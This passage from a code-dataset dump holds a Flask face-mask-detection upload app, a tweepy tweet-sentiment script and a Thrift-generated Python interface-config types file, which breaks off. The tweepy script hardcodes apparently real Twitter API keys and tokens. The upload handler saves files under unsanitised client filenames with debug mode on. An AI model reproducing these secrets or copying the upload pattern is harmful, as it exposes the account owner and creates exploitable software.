glob\r\nfrom mtcnn.mtcnn import MTCNN\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.patches import Rectangle\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom keras.models import load_model\r\nfrom PIL import Image\r\nfrom keras import layers\r\nfrom keras import callbacks\r\nfrom PIL import Image\r\nimport numpy as np\r\ndef detectMask(filename):\r\n model = keras.Sequential([\r\n layers.Conv2D(100, (3,3), activation='relu', input_shape=(50,50,3)),\r\n layers.MaxPooling2D(2,2),\r\n \r\n layers.Conv2D(100, (3,3), activation='relu'),\r\n layers.MaxPooling2D(2,2),\r\n \r\n layers.Flatten(),\r\n layers.Dropout(0.5),\r\n layers.Dense(50, activation='relu'),\r\n layers.Dense(2, activation='softmax')\r\n ])\r\n\r\n model.load_weights(\"MaskDetectorInspector/model_weights.h5\")\r\n\r\n pixels = plt.imread(filename)\r\n detector = MTCNN()\r\n\r\n row, col, dep = pixels.shape\r\n isRGB = True\r\n if dep>3:\r\n isRGB = False\r\n rgb = np.zeros((row, col, 3),dtype='float32')\r\n r, g, b, a = pixels[:,:,0], pixels[:,:,1], pixels[:,:,2], pixels[:,:,3]\r\n\r\n a = np.asarray(a,dtype='float32' )/255.0\r\n R, G, B = (255,255,255)\r\n\r\n rgb[:,:,0] = r\r\n rgb[:,:,1] = g\r\n rgb[:,:,2] = b\r\n\r\n pixels2 = np.asarray(rgb, dtype='uint8')\r\n pixels = np.copy(pixels2)\r\n\r\n faces = detector.detect_faces(pixels)\r\n\r\n output = []\r\n for face in faces:\r\n x,y,w,h = face[\"box\"]\r\n\r\n imgVals = []\r\n for i in range(h):\r\n row = []\r\n for j in range(w):\r\n px = x+j\r\n py = y+i\r\n row.append(pixels[py][px])\r\n imgVals.append(row)\r\n \r\n imgVals = np.array(imgVals)\r\n image = Image.fromarray(imgVals)\r\n image = image.resize((50,50))\r\n imgVals = np.array(image)\r\n\r\n result = model.predict(np.array([imgVals,]))\r\n if np.argmax(result) == 0:\r\n output.append(1)\r\n else:\r\n output.append(0)\r\n \r\n return output\r\nbasedir = os.path.abspath(os.path.dirname(__file__))\r\n\r\n\r\napp = Flask(__name__)\r\napp.config.update(\r\n UPLOADED_PATH= os.path.join(basedir,'uploads'),\r\n DROPZONE_MAX_FILE_SIZE = 1024,\r\n DROPZONE_TIMEOUT = 5*60*1000)\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n return render_template(\"index.html\")\r\ndropzone = Dropzone(app)\r\n\r\n@app.route('/upload.html/',methods=['POST','GET'])\r\ndef upload():\r\n if request.method == 'POST':\r\n f = request.files.get('file')\r\n f.save(os.path.join(app.config['UPLOADED_PATH'],f.filename))\r\n folder_path = r'c:\\Users\\Manhar\\Desktop\\Flask\\uploads'\r\n file_type = '\\*jpg'\r\n files = glob.glob(folder_path + file_type)\r\n max_file = max(files, key=os.path.getctime)\r\n results = detectMask(max_file)\r\n return render_template('upload.html', values=[len(results),sum(results)])\r\n return render_template('upload.html')\r\n \r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3203, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.keras.Sequential", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 19, "usage_type": "name"}, {"api_name": "keras.layers.Conv2D", "line_number": 20, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 20, "usage_type": "name"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 21, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 21, "usage_type": "name"}, {"api_name": "keras.layers.Conv2D", "line_number": 23, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 23, "usage_type": "name"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 24, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 24, "usage_type": "name"}, {"api_name": "keras.layers.Flatten", "line_number": 26, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 26, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 27, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 27, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 28, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 29, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imread", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "mtcnn.mtcnn.MTCNN", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 69, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 70, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 70, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 92, "usage_type": "call"}, {"api_name": "flask_dropzone.Dropzone", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 97, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 97, "usage_type": "name"}, {"api_name": "flask.request.files.get", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 98, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 98, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 106, "usage_type": "call"}]} {"seq_id": "164848454", "text": "import pickled as s\n\n# print(s.sentiment(\"This movie is marvelous. Acting was great. much love\"))\n# print(s.sentiment(\"Failure. movie is an utter junk. Please avoid watching this type of movies\"))\n\nimport tweepy\n# from textblob import TextBlob\nimport preprocessor as p\nimport statistics\nfrom typing import List\n\nimport pickled as s\n\nckey = \"BNPj5RN5YFrBkoy8FCSSUADXc\"\ncsecret = \"zeuNOocezOH1wRWujUBINT4CvKumEtpJW0ql2CQx1SqpNfwj6E\"\natoken = \"2902474477-UxJR8N06sjNIXuaGlGk0IPsPtb2UYoWnhq3D4YL\"\nasecret = \"TPti3ngvexZCcnzN27jPlx6fz7wc5f24aHJDoddJIf2KE\"\n\nauth = tweepy.AppAuthHandler(ckey, csecret,)\napi = tweepy.API(auth)\n\n\ndef get_tweets(keyword: str) -> List[str]:\n all_tweets = []\n for tweet in tweepy.Cursor(api.search, q=keyword, tweet_mode='extended', lang='en').items(10):\n all_tweets.append(tweet.full_text)\n\n return all_tweets\n\n\ndef clean_tweets(all_tweets: str) -> List[str]:\n tweets_clean = []\n# for tweet in all_tweets:\n# tweets_clean.append(p.clean(tweet))\n for tweet in all_tweets:\n tweets_clean.append(s.sentiment(tweet))\n\n return tweets_clean\n\n\n\n\n#\n#\n# def get_sentiment(all_tweets: List[str]) -> List[float]:\n# sentiment_scores = []\n# for tweet in all_tweets:\n# # blob = TextBlob(tweet)\n# # sentiment_scores.append(blob.sentiment.polarity)\n# sentiment_scores.append(s.sentiment(tweet))\n# return sentiment_scores\n\n\n\ndef generate_avg_sentiment_score(keyword: str) -> int:\n tweets = get_tweets(keyword)\n tweets_clean = clean_tweets(tweets)\n # sentiment_scores = get_sentiment(tweets_clean)\n average_score = statistics.mean(tweets_clean)\n\n return average_score\n\n\nif __name__ == \"__main__\" :\n print('what does the world prefers')\n first_name = input()\n # print('----or---')\n # second_name = input()\n print('\\n')\n\n first_score = generate_avg_sentiment_score(first_name)\n # second_score = generate_avg_sentiment_score(second_name)\n\n # if first_score > second_score :\n # print(f'world prefer {first_name} over {second_name}')\n # else:\n # print(f'world prefer {second_name} over {first_name}')\n\n print(f'your movie Rating on {first_name} is {first_score}')", "sub_path": "test_sentiment.py", "file_name": "test_sentiment.py", "file_ext": "py", "file_size_in_byte": 2206, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tweepy.AppAuthHandler", "line_number": 19, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 20, "usage_type": "call"}, {"api_name": "tweepy.Cursor", "line_number": 25, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 23, "usage_type": "name"}, {"api_name": "pickled.sentiment", "line_number": 36, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 31, "usage_type": "name"}, {"api_name": "statistics.mean", "line_number": 59, "usage_type": "call"}]} {"seq_id": "155025755", "text": "# 2015.02.05 17:22:05 IST\nfrom thrift.Thrift import *\nimport Shared.ttypes\nfrom thrift.transport import TTransport\nfrom thrift.protocol import TBinaryProtocol, TProtocol\ntry:\n from thrift.protocol import fastbinary\nexcept:\n fastbinary = None\n\nclass InterfacePropertyIDL(object):\n \"\"\"\n Hard property for interface which is\n obtained only once from NE.\n \n Attributes:\n - slot\n - port\n - speed\n - shortname\n - subif_id\n \"\"\"\n\n thrift_spec = (None,\n (1,\n TType.I32,\n 'slot',\n None,\n None),\n (2,\n TType.I32,\n 'port',\n None,\n None),\n (3,\n TType.I32,\n 'speed',\n None,\n None),\n (4,\n TType.STRING,\n 'shortname',\n None,\n None),\n (5,\n TType.I64,\n 'subif_id',\n None,\n None))\n\n def __init__(self, slot = None, port = None, speed = None, shortname = None, subif_id = None):\n self.slot = slot\n self.port = port\n self.speed = speed\n self.shortname = shortname\n self.subif_id = subif_id\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.I32:\n self.slot = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 2:\n if ftype == TType.I32:\n self.port = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 3:\n if ftype == TType.I32:\n self.speed = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 4:\n if ftype == TType.STRING:\n self.shortname = iprot.readString()\n else:\n iprot.skip(ftype)\n elif fid == 5:\n if ftype == TType.I64:\n self.subif_id = iprot.readI64()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('InterfacePropertyIDL')\n if self.slot != None:\n oprot.writeFieldBegin('slot', TType.I32, 1)\n oprot.writeI32(self.slot)\n oprot.writeFieldEnd()\n if self.port != None:\n oprot.writeFieldBegin('port', TType.I32, 2)\n oprot.writeI32(self.port)\n oprot.writeFieldEnd()\n if self.speed != None:\n oprot.writeFieldBegin('speed', TType.I32, 3)\n oprot.writeI32(self.speed)\n oprot.writeFieldEnd()\n if self.shortname != None:\n oprot.writeFieldBegin('shortname', TType.STRING, 4)\n oprot.writeString(self.shortname)\n oprot.writeFieldEnd()\n if self.subif_id != None:\n oprot.writeFieldBegin('subif_id', TType.I64, 5)\n oprot.writeI64(self.subif_id)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass IssubInterfaceIDL(object):\n \"\"\"\n subif_id is uint32_t\n \n Attributes:\n - is_sub\n \"\"\"\n\n thrift_spec = (None, (1,\n TType.I32,\n 'is_sub',\n None,\n None))\n\n def __init__(self, is_sub = None):\n self.is_sub = is_sub\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.I32:\n self.is_sub = iprot.readI32()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('IssubInterfaceIDL')\n if self.is_sub != None:\n oprot.writeFieldBegin('is_sub', TType.I32, 1)\n oprot.writeI32(self.is_sub)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass InterfaceConfigSpeedIDL(object):\n \"\"\"\n Attributes:\n - configured\n - operational\n - capability\n \"\"\"\n\n thrift_spec = (None,\n (1,\n TType.I32,\n 'configured',\n None,\n None),\n (2,\n TType.I32,\n 'operational',\n None,\n None),\n (3,\n TType.I32,\n 'capability',\n None,\n None))\n\n def __init__(self, configured = None, operational = None, capability = None):\n self.configured = configured\n self.operational = operational\n self.capability = capability\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.I32:\n self.configured = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 2:\n if ftype == TType.I32:\n self.operational = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 3:\n if ftype == TType.I32:\n self.capability = iprot.readI32()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('InterfaceConfigSpeedIDL')\n if self.configured != None:\n oprot.writeFieldBegin('configured', TType.I32, 1)\n oprot.writeI32(self.configured)\n oprot.writeFieldEnd()\n if self.operational != None:\n oprot.writeFieldBegin('operational', TType.I32, 2)\n oprot.writeI32(self.operational)\n oprot.writeFieldEnd()\n if self.capability != None:\n oprot.writeFieldBegin('capability', TType.I32, 3)\n oprot.writeI32(self.capability)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass InterfaceConfigDuplexIDL(object):\n \"\"\"\n Attributes:\n - configured\n - operational\n \"\"\"\n\n thrift_spec = (None, (1,\n TType.BYTE,\n 'configured',\n None,\n None), (2,\n TType.BYTE,\n 'operational',\n None,\n None))\n\n def __init__(self, configured = None, operational = None):\n self.configured = configured\n self.operational = operational\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.BYTE:\n self.configured = iprot.readByte()\n else:\n iprot.skip(ftype)\n elif fid == 2:\n if ftype == TType.BYTE:\n self.operational = iprot.readByte()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('InterfaceConfigDuplexIDL')\n if self.configured != None:\n oprot.writeFieldBegin('configured', TType.BYTE, 1)\n oprot.writeByte(self.configured)\n oprot.writeFieldEnd()\n if self.operational != None:\n oprot.writeFieldBegin('operational', TType.BYTE, 2)\n oprot.writeByte(self.operational)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass InterfaceConfigAutonegIDL(object):\n \"\"\"\n Attributes:\n - configured\n - operational\n \"\"\"\n\n thrift_spec = (None, (1,\n TType.BYTE,\n 'configured',\n None,\n None), (2,\n TType.BYTE,\n 'operational',\n None,\n None))\n\n def __init__(self, configured = None, operational = None):\n self.configured = configured\n self.operational = operational\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.BYTE:\n self.configured = iprot.readByte()\n else:\n iprot.skip(ftype)\n elif fid == 2:\n if ftype == TType.BYTE:\n self.operational = iprot.readByte()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('InterfaceConfigAutonegIDL')\n if self.configured != None:\n oprot.writeFieldBegin('configured', TType.BYTE, 1)\n oprot.writeByte(self.configured)\n oprot.writeFieldEnd()\n if self.operational != None:\n oprot.writeFieldBegin('operational', TType.BYTE, 2)\n oprot.writeByte(self.operational)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass InterfaceConfigFlowCtrlIDL(object):\n \"\"\"\n Attributes:\n - input_configured\n - input_operational\n - output_configured\n - output_operational\n \"\"\"\n\n thrift_spec = (None,\n (1,\n TType.BYTE,\n 'input_configured',\n None,\n None),\n (2,\n TType.BYTE,\n 'input_operational',\n None,\n None),\n (3,\n TType.BYTE,\n 'output_configured',\n None,\n None),\n (4,\n TType.BYTE,\n 'output_operational',\n None,\n None))\n\n def __init__(self, input_configured = None, input_operational = None, output_configured = None, output_operational = None):\n self.input_configured = input_configured\n self.input_operational = input_operational\n self.output_configured = output_configured\n self.output_operational = output_operational\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.BYTE:\n self.input_configured = iprot.readByte()\n else:\n iprot.skip(ftype)\n elif fid == 2:\n if ftype == TType.BYTE:\n self.input_operational = iprot.readByte()\n else:\n iprot.skip(ftype)\n elif fid == 3:\n if ftype == TType.BYTE:\n self.output_configured = iprot.readByte()\n else:\n iprot.skip(ftype)\n elif fid == 4:\n if ftype == TType.BYTE:\n self.output_operational = iprot.readByte()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('InterfaceConfigFlowCtrlIDL')\n if self.input_configured != None:\n oprot.writeFieldBegin('input_configured', TType.BYTE, 1)\n oprot.writeByte(self.input_configured)\n oprot.writeFieldEnd()\n if self.input_operational != None:\n oprot.writeFieldBegin('input_operational', TType.BYTE, 2)\n oprot.writeByte(self.input_operational)\n oprot.writeFieldEnd()\n if self.output_configured != None:\n oprot.writeFieldBegin('output_configured', TType.BYTE, 3)\n oprot.writeByte(self.output_configured)\n oprot.writeFieldEnd()\n if self.output_operational != None:\n oprot.writeFieldBegin('output_operational', TType.BYTE, 4)\n oprot.writeByte(self.output_operational)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass InterfaceConfigIDL(object):\n \"\"\"\n Soft property (configuration) of interface\n Currently retrieved on demand\n in future can be refreshed automatically\n \n Attributes:\n - layer2\n - mtu\n - snmp\n - tx\n - rx\n - mode\n - encap\n - duplex\n - displayName\n - macaddr\n - descr\n - ipRedirect\n - ipUnreachable\n - ipProxyArp\n - ipUnicastReversePath\n - ipHelperAddr\n - speedIDL\n - duplexIDL\n - autoNegIDL\n - fcIDL\n - fwdClassID\n \"\"\"\n\n thrift_spec = (None,\n (1,\n TType.I32,\n 'layer2',\n None,\n None),\n (2,\n TType.I32,\n 'mtu',\n None,\n None),\n (3,\n TType.I64,\n 'snmp',\n None,\n None),\n (4,\n TType.I32,\n 'tx',\n None,\n None),\n (5,\n TType.I32,\n 'rx',\n None,\n None),\n (6,\n TType.BYTE,\n 'mode',\n None,\n None),\n (7,\n TType.BYTE,\n 'encap',\n None,\n None),\n (8,\n TType.BYTE,\n 'duplex',\n None,\n None),\n (9,\n TType.STRING,\n 'displayName',\n None,\n None),\n (10,\n TType.LIST,\n 'macaddr',\n (TType.BYTE, None),\n [1,\n 2,\n 3,\n 4,\n 5,\n 6]),\n (11,\n TType.STRING,\n 'descr',\n None,\n None),\n (12,\n TType.I32,\n 'ipRedirect',\n None,\n None),\n (13,\n TType.I32,\n 'ipUnreachable',\n None,\n None),\n (14,\n TType.I32,\n 'ipProxyArp',\n None,\n None),\n (15,\n TType.I32,\n 'ipUnicastReversePath',\n None,\n None),\n (16,\n TType.LIST,\n 'ipHelperAddr',\n (TType.STRUCT, (Shared.ttypes.NetworkAddressIDL, Shared.ttypes.NetworkAddressIDL.thrift_spec)),\n None),\n (17,\n TType.STRUCT,\n 'speedIDL',\n (InterfaceConfigSpeedIDL, InterfaceConfigSpeedIDL.thrift_spec),\n None),\n (18,\n TType.STRUCT,\n 'duplexIDL',\n (InterfaceConfigDuplexIDL, InterfaceConfigDuplexIDL.thrift_spec),\n None),\n (19,\n TType.STRUCT,\n 'autoNegIDL',\n (InterfaceConfigAutonegIDL, InterfaceConfigAutonegIDL.thrift_spec),\n None),\n (20,\n TType.STRUCT,\n 'fcIDL',\n (InterfaceConfigFlowCtrlIDL, InterfaceConfigFlowCtrlIDL.thrift_spec),\n None),\n (21,\n TType.I32,\n 'fwdClassID',\n None,\n None))\n\n def __init__(self, layer2 = None, mtu = None, snmp = None, tx = None, rx = None, mode = None, encap = None, duplex = None, displayName = None, macaddr = thrift_spec[10][4], descr = None, ipRedirect = None, ipUnreachable = None, ipProxyArp = None, ipUnicastReversePath = None, ipHelperAddr = None, speedIDL = None, duplexIDL = None, autoNegIDL = None, fcIDL = None, fwdClassID = None):\n self.layer2 = layer2\n self.mtu = mtu\n self.snmp = snmp\n self.tx = tx\n self.rx = rx\n self.mode = mode\n self.encap = encap\n self.duplex = duplex\n self.displayName = displayName\n if macaddr is self.thrift_spec[10][4]:\n macaddr = [1,\n 2,\n 3,\n 4,\n 5,\n 6]\n self.macaddr = macaddr\n self.descr = descr\n self.ipRedirect = ipRedirect\n self.ipUnreachable = ipUnreachable\n self.ipProxyArp = ipProxyArp\n self.ipUnicastReversePath = ipUnicastReversePath\n self.ipHelperAddr = ipHelperAddr\n self.speedIDL = speedIDL\n self.duplexIDL = duplexIDL\n self.autoNegIDL = autoNegIDL\n self.fcIDL = fcIDL\n self.fwdClassID = fwdClassID\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.I32:\n self.layer2 = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 2:\n if ftype == TType.I32:\n self.mtu = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 3:\n if ftype == TType.I64:\n self.snmp = iprot.readI64()\n else:\n iprot.skip(ftype)\n elif fid == 4:\n if ftype == TType.I32:\n self.tx = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 5:\n if ftype == TType.I32:\n self.rx = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 6:\n if ftype == TType.BYTE:\n self.mode = iprot.readByte()\n else:\n iprot.skip(ftype)\n elif fid == 7:\n if ftype == TType.BYTE:\n self.encap = iprot.readByte()\n else:\n iprot.skip(ftype)\n elif fid == 8:\n if ftype == TType.BYTE:\n self.duplex = iprot.readByte()\n else:\n iprot.skip(ftype)\n elif fid == 9:\n if ftype == TType.STRING:\n self.displayName = iprot.readString()\n else:\n iprot.skip(ftype)\n elif fid == 10:\n if ftype == TType.LIST:\n self.macaddr = []\n (_etype3, _size0,) = iprot.readListBegin()\n for _i4 in xrange(_size0):\n _elem5 = iprot.readByte()\n self.macaddr.append(_elem5)\n\n iprot.readListEnd()\n else:\n iprot.skip(ftype)\n elif fid == 11:\n if ftype == TType.STRING:\n self.descr = iprot.readString()\n else:\n iprot.skip(ftype)\n elif fid == 12:\n if ftype == TType.I32:\n self.ipRedirect = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 13:\n if ftype == TType.I32:\n self.ipUnreachable = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 14:\n if ftype == TType.I32:\n self.ipProxyArp = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 15:\n if ftype == TType.I32:\n self.ipUnicastReversePath = iprot.readI32()\n else:\n 